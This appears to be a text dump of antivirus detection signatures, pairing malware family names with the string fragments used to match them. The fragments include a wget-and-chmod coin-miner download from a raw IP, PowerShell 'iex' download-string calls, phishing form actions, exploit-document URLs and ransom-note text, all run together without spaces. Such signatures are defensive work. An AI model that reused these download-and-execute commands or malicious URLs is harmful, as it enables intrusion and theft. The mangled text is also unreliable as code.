Asigninwithyourcorrectemailandpasswordtoreviewpackageinformation !#SCPT:Worm:VBS/Dapato.A!lnk \\..\\..\\windows\\system32\\wscript.exe/e:vbscript.encodephoto.jpeg A\\..\\..\\windows\\system32\\wscript.exe/e:vbscript.encodephoto.jpeg !#SCRIPT:Exploit:JS/AimesuL3 divid=\"heap_allign\"></div><divid=\"table_div\"></div><appletcode= Adivid=\"heap_allign\"></div><divid=\"table_div\"></div><appletcode= !#SCRIPT:PHP/Dirtelti.I1!MTB =\"/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf\" A=\"/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf\" <audioautoplay=\"\"><sourcesrc=\"td.mp3\"type=\"audio/mpeg\"></audio> A<audioautoplay=\"\"><sourcesrc=\"td.mp3\"type=\"audio/mpeg\"></audio> !#Trojan:BAT/Sciptos.YC2!MTB wmicprocesswhere\"name='% Awmicprocesswhere\"name='%  %'\"getexecutablepath/value^|findstr: !#Trojan:Linux/CoinMiner.Ya2 wget$dir/kinsinghttp://93.189.43.3/kinsingchmod+x$dir/kinsingif Awget$dir/kinsinghttp://93.189.43.3/kinsingchmod+x$dir/kinsingif !#SCPT:O97M/EncDoc.ALVPJ3!MTB <si><t>http://myplanet.group/xuxzryvq1/ind.html</t></si></sst> @<si><t>http://myplanet.group/xuxzryvq1/ind.html</t></si></sst> !#SCPT:Trojan:BAT/Starter.G19 !%systemroot%\\system32\\shell32.dll%comspec%%comspec%%wn]nd. @!%systemroot%\\system32\\shell32.dll%comspec%%comspec%%wn]nd. !#SCPT:Trojan:BAT/SysWiper.V2 copyeulascr.exe%homedrive%\\windows\\system32\\ @copyeulascr.exe%homedrive%\\windows\\system32\\ !#SCPT:Trojan:HTML/Phish.JAA4 url:'https://sotheraho.com/wp-content/fonts/reportexcelnew.php @url:'https://sotheraho.com/wp-content/fonts/reportexcelnew.php !#SCPT:Win32/AutoitInject.AR1 @endfuncdim$ ?]=[\"jcmewjjky.exe\",\" !#SCRIPT:BAT/RansomVolcrypt.A \"%temp%\\svchost.exe\"--batch @\"%temp%\\svchost.exe\"--batch  homedir\"%temp%\"--gen-key\"%temp%\\ =base64_decode( @=base64_decode( \")](divid).innerhtml); class=\"download_link\"><divclass=\"button\"onclick=\"showstep();\"> @class=\"download_link\"><divclass=\"button\"onclick=\"showstep();\"> @setinterval(function(){alert(\"  harddrive  delete !#SCRIPT:PowerShell/Spritz.A5 new-objectsystem.directoryservices.directoryentry( @new-objectsystem.directoryservices.directoryentry( !#TrojanDownloader:VBS/Adodb3 shellexecute(\"wscript.exe\",\"\" @shellexecute(\"wscript.exe\",\"\"  .vbs\"uac\",\"\",\"runas\",\"1\"); !#SCPT:Trojan:HTML/Phish!atb04 >pleasewaitwhilemicrosoftfetchyourvoicemailmessagefromserver< ?>pleasewaitwhilemicrosoftfetchyourvoicemailmessagefromserver< !#SCPT:Trojan:HTML/Phish.BHK18 <formaction=\"https://injectsorals.com/11/i.php\"method=\"post\"> ?<formaction=\"https://injectsorals.com/11/i.php\"method=\"post\"> !#SCPT:Trojan:HTML/Phish.BHK23 <formaction=\"https://tomamate.si/ ?<formaction=\"https://tomamate.si/ /pdfnv.php\"method=\"post\"> !#SCPT:Trojan:JS/Phish.PY2!MTB <formaction=\"http://injectsorals.com/ ?<formaction=\"http://injectsorals.com/  /i.php\"method=\"post\"> !#SCRIPT:BAT:Pterodo.Copy.S001 copy\"\\mpclients.dll\"\"%appdata%\\microsoft\\office\\mso ?copy\"\\mpclients.dll\"\"%appdata%\\microsoft\\office\\mso .obn\"/y !#SCRIPT:Exploit:JS/Elecom.E.3 while(buffer.length<3092)buffer+=\"\\x0a\"+\"\\x0a\"+\"\\x0a\"+\"\\x0a\"; ?while(buffer.length<3092)buffer+=\"\\x0a\"+\"\\x0a\"+\"\\x0a\"+\"\\x0a\"; <audioautoplay=\"\"preload=\"\"><sourcesrc=\"data:audio/ ?<audioautoplay=\"\"preload=\"\"><sourcesrc=\"data:audio/ ;base64 <audioautoplay=\"autoplay\"preload=\"\"><sourcesrc=\" ?<audioautoplay=\"autoplay\"preload=\"\"><sourcesrc=\" \"></audio> !#SCRIPT:PSExploitShellCode.A6 availablepayloads ?availablepayloads  invoke shellcode  payload  attributes !#SCRIPT:Pavica_Nsis7zipPasswd dir\\commonfiles5\\7za.exe0zip-t\\nsexec.dll ?dir\\commonfiles5\\7za.exe0zip-t\\nsexec.dll \\adobeupdater.lnk vk.com>>%systemroot%\\system32\\drivers\\etc\\% ?vk.com>>%systemroot%\\system32\\drivers\\etc\\% 0echo typeofwindow==\"undefined\"?\" ?typeofwindow==\"undefined\"?\" .replace !#Trojan:PowerShell/MemExec.A2 createthread(0,0, ?createthread(0,0, ,0,0,0);start-sleep-second %(shellcode) !#ALF:ObfuscatedBatScript.B!ibt >/v:o !#SCPT:Backdoor:PHP/Dirtelti.P4 echo@serialize(array(\"uid\"=> >echo@serialize(array(\"uid\"=> ,\"v\"=> !#SCPT:CodeOnly.CVE-2018-4233.A //shareabutterflyforeasierboxing/unboxingvarshared_butterfly >//shareabutterflyforeasierboxing/unboxingvarshared_butterfly !#SCPT:Trojan:ASP/WebShell.S002 newobject[] >newobject[]  ;object .invoke </script> !#SCPT:Trojan:HTML/Phish.REFB11 location.replace(\"https:\\/\\/s95.l-o-a-d-i-n-g.net\\/proc.php? >location.replace(\"https:\\/\\/s95.l-o-a-d-i-n-g.net\\/proc.php? !#SCPT:Trojan:HTML/Phish.REFB21 location.replace(\"https:\\/\\/freeoffers.freeof.xyz\\/proc.php? >location.replace(\"https:\\/\\/freeoffers.freeof.xyz\\/proc.php? !#SCPT:Trojan:Win32/Wysotot!lnk http://www.v9tr.com >http://www.v9tr.com iexplorefirefoxoperachrome.exe !#SCRIPT:PowerShell/LockWats.A1 :windir+\"\\system32\\drivers\\mrxdav.sys >:windir+\"\\system32\\drivers\\mrxdav.sys =get-fileversioninfo !#SCRIPT:Ransom:HTML/Tescrypt.E install,runtorbrowser >install,runtorbrowser insertlinkintheaddressbar:  .onion/ !#Scpt:PS:CryptoStreamCreation1 =new-objectsystem.security.cryptography.passwordderivebytes( >=new-objectsystem.security.cryptography.passwordderivebytes(  !#JAM:XMLHTTPRequestGetWPContent )h !#JAM:XMLHTTPRequestGetWPContent =iserverxmlhttprequest 0/wp-content/  !#SCPT:Trojan:HTML/Phish.SM4!MTB )h !#SCPT:Trojan:HTML/Phish.SM4!MTB window.location.replace(\"https://lixns.com/xl/?referrer=\"); =window.location.replace(\"https://lixns.com/xl/?referrer=\");  !#SCPT:Trojan:JS/Obfuse.RVC1!MTB )h !#SCPT:Trojan:JS/Obfuse.RVC1!MTB click.travelfornamewalking.ga/zet.php?id= =click.travelfornamewalking.ga/zet.php?id=  8varmb=\"https://  !#SCPT:Trojan:VBS/Fekrome.B!sht1 )h !#SCPT:Trojan:VBS/Fekrome.B!sht1 msiexec/ic:\\programdata\\googlechrome.msi/quiet/qn/norestart =msiexec/ic:\\programdata\\googlechrome.msi/quiet/qn/norestart  !#SCRIPT:PowerShell/Powerpuff.A5 )h !#SCRIPT:PowerShell/Powerpuff.A5 bitconverter]::tostring( =bitconverter]::tostring(  [1]).replace(\"-\",\"\").tolower()); !!#SCPT:Trojan:HTML/Phish.DRD5!MTB )h!!#SCPT:Trojan:HTML/Phish.DRD5!MTB moranmus.com/adobe-vix/document.php <moranmus.com/adobe-vix/document.php postaction=https://  6postaction=https:// )h!!#SCPT:Trojan:HTML/Phish.SMW1!MTB https://urbanhomefitness.com/file/excelzz/index.php?email= <https://urbanhomefitness.com/file/excelzz/index.php?email= )h!!#SCRIPT:HTML/TechBrolo!AlertFunc (){setinterval(function(){alert(m1) <(){setinterval(function(){alert(m1) 00);alert(m !!#SCRIPT:PowerShell/ResumeProcess )h!!#SCRIPT:PowerShell/ResumeProcess publicstaticexternvoidntresumeprocess(intptrprocesshandle) <publicstaticexternvoidntresumeprocess(intptrprocesshandle) \"!#SCPT:O97M/CVE-2017-0199.RCV1!MTB )h\"!#SCPT:O97M/CVE-2017-0199.RCV1!MTB target=\"https://http://bit.do/fq3bf\"targetmode=\"external\" ;target=\"https://http://bit.do/fq3bf\"targetmode=\"external\" \"!#SCPT:Trojan:HTML/Phish.RVAD3!MTB )h\"!#SCPT:Trojan:HTML/Phish.RVAD3!MTB cj8iiksmcx7fskpozwvc2nyaxb0pg=='))</script></body></html> ;cj8iiksmcx7fskpozwvc2nyaxb0pg=='))</script></body></html> \"!#SCPT:TrojanDropper:VBS/Ploty.CS1 )h\"!#SCPT:TrojanDropper:VBS/Ploty.CS1 .createobject(!$$$$!\"\" ;.createobject(!$$$$!\"\" 'wscript.shell!$$$$!\"\" ').run(p) \"!#SCRIPT:Exploit:Win32/Pdfjsc.NX.1 )h\"!#SCRIPT:Exploit:Win32/Pdfjsc.NX.1 a='aw';b='ls';c=2011;d='eplace';e='subs';m=8*2;z='this.'; ;a='aw';b='ls';c=2011;d='eplace';e='subs';m=8*2;z='this.'; \"!#SCRIPT:HTML/PossiblePhishClass.A )h\"!#SCRIPT:HTML/PossiblePhishClass.A <aclass=\" ;<aclass=\" 0\"id=\" 0\"href=\"https://office.live.com/start/ )h\"!#SCRIPT:PowerShell/IEXDownloadStr ;iex( net.webclient).downloadstring( \"!#SCRIPT:PowerShell/Internaloff.G4 )h\"!#SCRIPT:PowerShell/Internaloff.G4 =[system.security.cryptography.hmacmd5]::new([byte[]] ;=[system.security.cryptography.hmacmd5]::new([byte[]] \"!#TrojanDropper:VBS/Dridex.A!atb01 )h\"!#TrojanDropper:VBS/Dridex.A!atb01 #!#SCPT:Trojan:Win32/WinLNK.PFD1!lnk )h#!#SCPT:Trojan:Win32/WinLNK.PFD1!lnk childitem\"c:\\users\\$($env:username)\\appdata\\local\\temp\") :childitem\"c:\\users\\$($env:username)\\appdata\\local\\temp\") )h#!#SCRIPT:Exploit:Win32/Pdfjsc.AGR.1 =\"&#x025;\";poete=(\"l :=\"&#x025;\";poete=(\"l )h#!#SCRIPT:JS/TechUnloadBrowserCode.A window.onbeforeunload=function(){if(popit==true){return\" :window.onbeforeunload=function(){if(popit==true){return\" $!#SCPT:JS/Obfuscator.Split.WScript.D )h$!#SCPT:JS/Obfuscator.Split.WScript.D 9](\"w $!#SCPT:O97M/CVE-2017-11882.RTOIR!MTB )h$!#SCPT:O97M/CVE-2017-11882.RTOIR!MTB membranehartebeest.org/v/a59xkty2t8jndet.exe 9membranehartebeest.org/v/a59xkty2t8jndet.exe  %!#Ransom:PowerShell/PowerWare.SK2!MTB )h%!#Ransom:PowerShell/PowerWare.SK2!MTB *warning*****</h2><p>wehaveacopyofallyouroriginalfiles 8*warning*****</h2><p>wehaveacopyofallyouroriginalfiles %!#SCPT:TrojanDownloader:VBS/Tnega.SP2 )h%!#SCPT:TrojanDownloader:VBS/Tnega.SP2 8=createobject(\"wscript.shell\")  =\"objs\"+\"hell.e\"+\"xec %!#SCPT:TrojanDownloader:XML/Dridex.P8 )h%!#SCPT:TrojanDownloader:XML/Dridex.P8 [\"concat\"]([\"l\",\"l\",\"d\",\".\"][\"reverse\"]()[\"join\"](\"\")) 8[\"concat\"]([\"l\",\"l\",\"d\",\".\"][\"reverse\"]()[\"join\"](\"\")) %!#SCRIPT:Python/ParamikaPolicy.A1!MTB )h%!#SCRIPT:Python/ParamikaPolicy.A1!MTB .set_missing_host_key_policy(paramiko.autoaddpolicy()) 8.set_missing_host_key_policy(paramiko.autoaddpolicy()) %!#SCRIPT:Worm:Win32/Forbix.A!lnk!atb1 )h%!#SCRIPT:Worm:Win32/Forbix.A!lnk!atb1 startwscript/e:vbscript.encodemanuel.doc&start 8startwscript/e:vbscript.encodemanuel.doc&start &exit %!#TrojanDownloader:Linux/miner.Z2!MTB )h%!#TrojanDownloader:Linux/miner.Z2!MTB crazydavesslots.com/.pprt-o/tmp/python/pprt&&chmod0777 8crazydavesslots.com/.pprt-o/tmp/python/pprt&&chmod0777 %!#TrojanDownloader:O97M/Dornoe.H!shb0 )h%!#TrojanDownloader:O97M/Dornoe.H!shb0 .downloadfile(\"http 8.downloadfile(\"http `.ps1\",\"c:\\users\\public\\ .ps1\" %!#TrojanDownloader:O97M/Mratmc.A1!MTB )h%!#TrojanDownloader:O97M/Mratmc.A1!MTB 8+=string.fromcharcode(parseint( ,2),16)); )h&!#SCPT:BrowserModifier:Win32/Hopadef.A \\hprewriter\\rewriterrunner.exe%homedrive%%homepath%30 7\\hprewriter\\rewriterrunner.exe%homedrive%%homepath%30 &!#SCPT:CodeOnly.DecodeEvalAndSessionId )h&!#SCPT:CodeOnly.DecodeEvalAndSessionId };'); 7};'); );eval( );var etsessionid &!#SCPT:Exploit:O97M/CVE-2017-11882.BX2 )h&!#SCPT:Exploit:O97M/CVE-2017-11882.BX2 7772792@nimvcnoriopogdzr@-xbibckgxok5oslp9f<eh&&0m-d_ 77772792@nimvcnoriopogdzr@-xbibckgxok5oslp9f<eh&&0m-d_ &!#SCPT:Exploit:O97M/CVE-2017-11882.SS1 )h&!#SCPT:Exploit:O97M/CVE-2017-11882.SS1 target=\"https://itsssl.com/9h7cn\"targetmode=\"external 7target=\"https://itsssl.com/9h7cn\"targetmode=\"external target=\"https://itsssl.com/vlafv\"targetmode=\"external 7target=\"https://itsssl.com/vlafv\"targetmode=\"external &!#SCPT:Trojan:PowerShell/AVSignature.C )h&!#SCPT:Trojan:PowerShell/AVSignature.C $outfile=join-path$outpath\"$($filename)_$($splitbyte) 7$outfile=join-path$outpath\"$($filename)_$($splitbyte) &!#SCPT:TrojanDownloader:BAT/Obfuse.RD3 )h&!#SCPT:TrojanDownloader:BAT/Obfuse.RD3 startwscript//nologo%userprofile%\\temp\\%username%.vbs 7startwscript//nologo%userprofile%\\temp\\%username%.vbs &!#SCPT:TrojanDownloader:JS/Nemucod.BA3 )h&!#SCPT:TrojanDownloader:JS/Nemucod.BA3 .position=0; 7.position=0; =true;}}finally{ &!#TrojanDownloader:JS/Elshutilo.C!atb2 )h&!#TrojanDownloader:JS/Elshutilo.C!atb2 7.open(\"get\", P.run(\"schtasks.exe/delete/tn &!#TrojanDownloader:JS/Nemucod!ccee92_3 )h&!#TrojanDownloader:JS/Nemucod!ccee92_3 functiongreezno(){return'counqwter'.replace(/qw/g,\"\") 7functiongreezno(){return'counqwter'.replace(/qw/g,\"\") '!#ALF:Exploit:O97M/CVE-2017-0199.BK!MTB )h'!#ALF:Exploit:O97M/CVE-2017-0199.BK!MTB target=\"https://yerl.org/ 6target=\"https://yerl.org/ \"targetmode=\"external\"/> '!#SCPT:Exploit:JS/DonxRef!check_msie_03 )h'!#SCPT:Exploit:JS/DonxRef!check_msie_03 if(wmck>17006&&wmck<17011) 6if(wmck>17006&&wmck<17011)  {if(kaka.indexof  msie '!#SCPT:Exploit:O97M/CVE-2017-11882.SS50 )h'!#SCPT:Exploit:O97M/CVE-2017-11882.SS50 target=\"https://linkr.uk/fyu5r\"targetmode=\"external\" 6target=\"https://linkr.uk/fyu5r\"targetmode=\"external\" '!#SCPT:HackTool:PowerShell/ImplantCore4 )h'!#SCPT:HackTool:PowerShell/ImplantCore4 [win32]::virtualprotect($ptr,[uint32]5,0x40,[ref]$b) 6[win32]::virtualprotect($ptr,[uint32]5,0x40,[ref]$b) '!#SCPT:HackTool:PowerShell/InvokeTater2 )h'!#SCPT:HackTool:PowerShell/InvokeTater2 $schedule_service=new-object-com(\"schedule.service\") 6$schedule_service=new-object-com(\"schedule.service\") '!#SCPT:TrojanDownloader:JS/Nemucod.JV10 )h'!#SCPT:TrojanDownloader:JS/Nemucod.JV10 \\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2e\\x53\\x68\\x65\\x6c\\x6c 6\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2e\\x53\\x68\\x65\\x6c\\x6c '!#SCPT:TrojanDownloader:VBS/Banload.BU2 )h'!#SCPT:TrojanDownloader:VBS/Banload.BU2 +chr( 6+chr( )+chr(  =replace( ,vbcrlf,\"\") (!#SCPT:Exploit:O97M/CVE-2017-11882.BXK14 )h(!#SCPT:Exploit:O97M/CVE-2017-11882.BXK14 50>369852$cv>it=i9|:%amd_>jn3%bm\\mpcp;=l\\kl13685.24 550>369852$cv>it=i9|:%amd_>jn3%bm\\mpcp;=l\\kl13685.24 (!#SCPT:TrojanDownloader:O97M/Dunoff.ST02 )h(!#SCPT:TrojanDownloader:O97M/Dunoff.ST02 5click enableediting buttonfromtheyellowbarabove (!#SCPT:TrojanDownloader:O97M/EncDoc.BXZ4 )h(!#SCPT:TrojanDownloader:O97M/EncDoc.BXZ4 https://norsecompassgroup.com/4eqmrlzmq9r/lipa.html 5https://norsecompassgroup.com/4eqmrlzmq9r/lipa.html (!#SCPT:TrojanDownloader:O97M/EncDoc.BXZ6 )h(!#SCPT:TrojanDownloader:O97M/EncDoc.BXZ6 https://storyofusstudios.com/n75oh9tzoyhz/lipa.html 5https://storyofusstudios.com/n75oh9tzoyhz/lipa.html (!#SCPT:TrojanDownloader:O97M/EncDoc.NRK9 )h(!#SCPT:TrojanDownloader:O97M/EncDoc.NRK9 <fbx=\"1\"> 5<fbx=\"1\"> !r\"&amp;83+ -1&amp;\"c\"&amp;1</f> (!#SCRIPT:PowerShell/Mimikittenz.A!remote )h(!#SCRIPT:PowerShell/Mimikittenz.A!remote domainusername=.{1,52}&userpass=.{1,42}&machinetype 5domainusername=.{1,52}&userpass=.{1,42}&machinetype )!#SCPT:Exploit:O97M/CVE-2017-8570.AA1!MTB )h)!#SCPT:Exploit:O97M/CVE-2017-8570.AA1!MTB c:\\fakepath 4c:\\fakepath abctfhgxghghgh.sctabctfhgxghghgh.sct )!#SCPT:JS/Obfuscator.responseText.Split.B )h)!#SCPT:JS/Obfuscator.responseText.Split.B ==200){var 4==200){var .responsetext;var )!#SCPT:TrojanDownloader:O97M/EncDoc.SMWA5 )h)!#SCPT:TrojanDownloader:O97M/EncDoc.SMWA5 reg!https://securezalink.com/home.jpg/security.ocx 4reg!https://securezalink.com/home.jpg/security.ocx )!#SCPT:TrojanDownloader:O97M/Gozi.RV1!MTB )h)!#SCPT:TrojanDownloader:O97M/Gozi.RV1!MTB htp:/conesa.yuidlc\\qkdirjfqwegknf,rgsvulmotaxbwyhv 4htp:/conesa.yuidlc\\qkdirjfqwegknf,rgsvulmotaxbwyhv )!#SCRIPT:TrojanDownloader:JS/Nemucod.DG-2 )h)!#SCRIPT:TrojanDownloader:JS/Nemucod.DG-2 *pt.shell* 4*pt.shell* *scri*\";var 0*%te*mp%*\\\\* 0\",\"*\"); *!#ALF:SCPT:TrojanDownloader:JS/Nemucod.Y00 )h*!#ALF:SCPT:TrojanDownloader:JS/Nemucod.Y00 \"\\x5b\" 3\"\\x5b\" };var ;/*@cc_onfor( *!#SCPT:Exploit:O97M/CVE-2017-11882.PJS!MTB )h*!#SCPT:Exploit:O97M/CVE-2017-11882.PJS!MTB {\\rtf12309\\page@429876590876543459876543!#$%dg3@5 3{\\rtf12309\\page@429876590876543459876543!#$%dg3@5 *!#SCPT:Exploit:O97M/CVE-2017-11882.SS1!MTB )h*!#SCPT:Exploit:O97M/CVE-2017-11882.SS1!MTB {\\rtf06236\\page21[.vbakbd@j=a'3c9sh8?gns[vgn/!b98 3{\\rtf06236\\page21[.vbakbd@j=a'3c9sh8?gns[vgn/!b98 *!#SCPT:Exploit:O97M/CVE-2017-8570.PRG5!MTB )h*!#SCPT:Exploit:O97M/CVE-2017-8570.PRG5!MTB (strsaveto)\"yty\"md\"tgrighirh\"c\"ytyfsdfsdfsdgfdg() 3(strsaveto)\"yty\"md\"tgrighirh\"c\"ytyfsdfsdfsdgfdg() *!#SCPT:Trojan:PowerShell/MicrophoneAudio.E )h*!#SCPT:Trojan:PowerShell/MicrophoneAudio.E .invoke(\"opennewtypewaveaudioalias$alias\",'',0,0) 3.invoke(\"opennewtypewaveaudioalias$alias\",'',0,0) *!#SCPT:TrojanDownloader:BAT/Powrar.YA1!MTB )h*!#SCPT:TrojanDownloader:BAT/Powrar.YA1!MTB \\winrar\\winrar.exe\"x-y-c\"%userprofile%\\downloads\\ 3\\winrar\\winrar.exe\"x-y-c\"%userprofile%\\downloads\\ *!#SCPT:TrojanDownloader:JS/Nemucod.SS4!MTB )h*!#SCPT:TrojanDownloader:JS/Nemucod.SS4!MTB 3.write .responsebody>> .position *!#SCPT:TrojanDownloader:JS/Obfuse.PJT4!MTB )h*!#SCPT:TrojanDownloader:JS/Obfuse.PJT4!MTB (qccelru.execquery(\"select*fromantivirusproduct\") 3(qccelru.execquery(\"select*fromantivirusproduct\") *!#SCPT:TrojanDownloader:PowerShell/Bynoco4 )h*!#SCPT:TrojanDownloader:PowerShell/Bynoco4 :#Lowfi:AGGR:Au3ModFileVersionHdrMalStats80 :#Lowfi:AGGR:Au3ModFileVersionHdrMalStats80U0 )#:1:z:2:NSIS_3_0_a2_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_a2_zlib_solid-x86-unicodeU0L :#Lowfi:SCRIPT:Trojan:Win32/Jabonit.A_brute :#Lowfi:SCRIPT:Trojan:Win32/Jabonit.A_bruteU0 :#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.B :#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.BU0/ Y#PERSIST:LowFi:HackTool:Win32/HaDuFe.A!dha Y#PERSIST:LowFi:HackTool:Win32/HaDuFe.A!dhaU0W m :#Lowfi:Lua:ContextualDropFlashplayerLatest m :#Lowfi:Lua:ContextualDropFlashplayerLatestU0 !]#Lowfi:Rep:CMD:Trojan:Win32/BashPowerShell !]#Lowfi:Rep:CMD:Trojan:Win32/BashPowerShellU0 !:#LowFi:Adware:Win32/Kraddare!LikeyCleanPUS !:#LowFi:Adware:Win32/Kraddare!LikeyCleanPUSU04 }#Y#PERSIST:HSTR:Trojan:Win32/HarwickLike!dha }#Y#PERSIST:HSTR:Trojan:Win32/HarwickLike!dhaU0 #:#Lowfi:AGGREGATOR:Trojan:JS/Kilim!FB_lowfi $g2&:#Lowfi:PEMBAT:VirTool:Win32/Obfuscator.AKN #:#Lowfi:AGGREGATOR:Trojan:JS/Kilim!FB_lowfiU0$g2&:#Lowfi:PEMBAT:VirTool:Win32/Obfuscator.AKNU0 &)#:1:l:2:NSIS_3_0_b3_lzma_solid-x86-unicode &)#:1:l:2:NSIS_3_0_b3_lzma_solid-x86-unicodeU0 [(:#Lowfi:BRUTE:AdwareSafeSaver_ChromePlugin1 [(:#Lowfi:BRUTE:AdwareSafeSaver_ChromePlugin1U0 (Y#PERSIST:TrojanDropper:Win32/Scieron.A!dha (Y#PERSIST:TrojanDropper:Win32/Scieron.A!dhaU0 ):#LowFiSIGATTR:Trojan:Win32/DropBaitPidef.A ):#LowFiSIGATTR:Trojan:Win32/DropBaitPidef.AU0 [*:#Lowfi:HSTR:TrojanDownloader:Win32/Beebone [*:#Lowfi:HSTR:TrojanDownloader:Win32/BeeboneU0 ,)#:1:z:2:NSIS_3_0_b2_zlib_solid-x86-unicode ,)#:1:z:2:NSIS_3_0_b2_zlib_solid-x86-unicodeU0 -:#Lowfi:SCRIPT:TrojanClicker:JS/Faceliker.L ^AC.Y#PERSIST_ContextualDropPlugincontainerTemp -:#Lowfi:SCRIPT:TrojanClicker:JS/Faceliker.LU0^AC.Y#PERSIST_ContextualDropPlugincontainerTempU0P r/:#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S03 r/:#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S03U0* \\0:#Lowfi:Lua:WrittenToDesktopFolderByBrowser \\0:#Lowfi:Lua:WrittenToDesktopFolderByBrowserU0 1:#LowFiExp:Win32/ContextualDrop2JavawTempJc 1:#LowFiExp:Win32/ContextualDrop2JavawTempJcU0 1:#LowfiSIGATTR:VirTool:Win32/Obfuscator.AEL 1:#LowfiSIGATTR:VirTool:Win32/Obfuscator.AELU0# 2Y#PERSIST_TrojanDownloader:Win32/Brantall.A 2Y#PERSIST_TrojanDownloader:Win32/Brantall.AU0 2Y#PERSIST:HSTR:Program:Win32/AirInstaller.A 2Y#PERSIST:HSTR:Program:Win32/AirInstaller.AU0 5:#Lowfi:PEBMPAT:AntiEmuVirtualProtectLayout 5:#Lowfi:PEBMPAT:AntiEmuVirtualProtectLayoutU0 6:#Lowfi:Lua:WrittenToDesktopFolderByTorrent 6:#Lowfi:Lua:WrittenToDesktopFolderByTorrentU0|B 7]#LowFi:Behavior:Win32/ModRegServicesASEP.B 7]#LowFi:Behavior:Win32/ModRegServicesASEP.BU0 h8Y#PERSIST_ContextualModJavawTempLikeCorrupt h8Y#PERSIST_ContextualModJavawTempLikeCorruptU0c\t 9Y#PERSIST:HSTR:Backdoor:Win32/Lecna.gen!dha 9Y#PERSIST:HSTR:Backdoor:Win32/Lecna.gen!dhaU0W T:Y#PERSIST:HSTR:Trojan:Win32/SandySimBot!dha T:Y#PERSIST:HSTR:Trojan:Win32/SandySimBot!dhaU0 ~n;:#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S09 ~n;:#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S09U0 @]#LowFi:Behavior:Win32/ModRegServicesASEP.C @]#LowFi:Behavior:Win32/ModRegServicesASEP.CU0 3A)#:1:z:2:NSIS_3_0_a1_zlib_solid-x86-unicode 3A)#:1:z:2:NSIS_3_0_a1_zlib_solid-x86-unicodeU0 -dBY#PERSIST_TrojanDownloader:Win32/Brantall.D -dBY#PERSIST_TrojanDownloader:Win32/Brantall.DU0 DY#PERSIST:HSTR:HackTool:Win32/WDigest.B!dha DY#PERSIST:HSTR:HackTool:Win32/WDigest.B!dhaU0> F:#LowfiSIGATTR:VirTool:Win32/Obfuscator.AEM F:#LowfiSIGATTR:VirTool:Win32/Obfuscator.AEMU0 rK)#:1:l:2:NSIS_3_0_a0_lzma_solid-x86-unicode rK)#:1:l:2:NSIS_3_0_a0_lzma_solid-x86-unicodeU0M$ KY#PERSIST_TrojanDownloader:Win32/Putabmow.C KY#PERSIST_TrojanDownloader:Win32/Putabmow.CU0 bOY#PERSIST:Behavior:Win32/DocumentOpen.A!dha bOY#PERSIST:Behavior:Win32/DocumentOpen.A!dhaU0 R:#Lowfi:SCRIPT:Worm:VBS/Dunihi_usbspreading R:#Lowfi:SCRIPT:Worm:VBS/Dunihi_usbspreadingU0 S:#LowFi:HSTR:VirTool:Win32/Injector.FT_6_18 S:#LowFi:HSTR:VirTool:Win32/Injector.FT_6_18U0` T:#Lowfi:SCRIPT:TrojanDropper:Win32/Figyek.A T:#Lowfi:SCRIPT:TrojanDropper:Win32/Figyek.AU0Y RUY#PERSIST:Constructor:Python/Hitbrovi.A!dha RUY#PERSIST:Constructor:Python/Hitbrovi.A!dhaU0 ^eVY#PERSIST:HackTool:Win32/LSASecretsDump!dha ^eVY#PERSIST:HackTool:Win32/LSASecretsDump!dhaU0 uX:#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S02 uX:#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S02U0 YY#PERSIST:Lowfi:Backdoor:Win32/Hikiti.H!dha YY#PERSIST:Lowfi:Backdoor:Win32/Hikiti.H!dhaU0 Y:#LowfiTrojanDownloader:Java/OpenStream.ZZA Y:#LowfiTrojanDownloader:Java/OpenStream.ZZAU0b [:#Lowfi:SCRIPTLOWFI:Trojan:PHP/Redirector.H [:#Lowfi:SCRIPTLOWFI:Trojan:PHP/Redirector.HU0M [:#Lowfi:SCRIPT:Trojan:JS/DemocracySurveil.B [:#Lowfi:SCRIPT:Trojan:JS/DemocracySurveil.BU0 \\:#Lowfi:VirTool:Win32/Obfuscator.ADB_hashes \\:#Lowfi:VirTool:Win32/Obfuscator.ADB_hashesU0 @]Y#PERSIST_HSTR:VirTool:Win64/Obfuscator.AKO @]Y#PERSIST_HSTR:VirTool:Win64/Obfuscator.AKOU0^ \\^:#Lowfi:AGGREGATOR:REG/DisallowedCert_Avira \\^:#Lowfi:AGGREGATOR:REG/DisallowedCert_AviraU0 ^Y#PERSIST:TrojanDropper:Win32/Hokobot.A!dha ^Y#PERSIST:TrojanDropper:Win32/Hokobot.A!dhaU0 ^:#LowfiTrojanDownloader:Java/OpenStream.ZZE ^:#LowfiTrojanDownloader:Java/OpenStream.ZZEU0 De_Y#PERSIST:HackTool:Win64/LSASecretsDump!dha De_Y#PERSIST:HackTool:Win64/LSASecretsDump!dhaU0K$ _:#Lowfi:HSTR:Backdoor:MSIL/Hammertoss.A!dha _:#Lowfi:HSTR:Backdoor:MSIL/Hammertoss.A!dhaU0n a:#LowFi:Adware:MSIL/PlayBryte!LikeyCleanPUS a:#LowFi:Adware:MSIL/PlayBryte!LikeyCleanPUSU0+ b)#:0:b:2:NSIS_3_02_strlen_bzip2-x86-unicode b)#:0:b:2:NSIS_3_02_strlen_bzip2-x86-unicodeU0  c:#LowFiExp:Win32/ContextualDropJavaTempLike  c:#LowFiExp:Win32/ContextualDropJavaTempLikeU0 h:#LowFi:KCRC:VirTool:Win32/AutoItInjectorZF h:#LowFi:KCRC:VirTool:Win32/AutoItInjectorZFU0 k:#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.C k:#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.CU0 /-m:#Lowfi:HSTR:Program:Darkcoin!LikeyCleanPUS /-m:#Lowfi:HSTR:Program:Darkcoin!LikeyCleanPUSU0 G^n]#LowFi:BMLua:AccessibilityEscalation.A!osk Op;oY#PERSIST:TrojanDropper:Win32/Scieron.B!dha 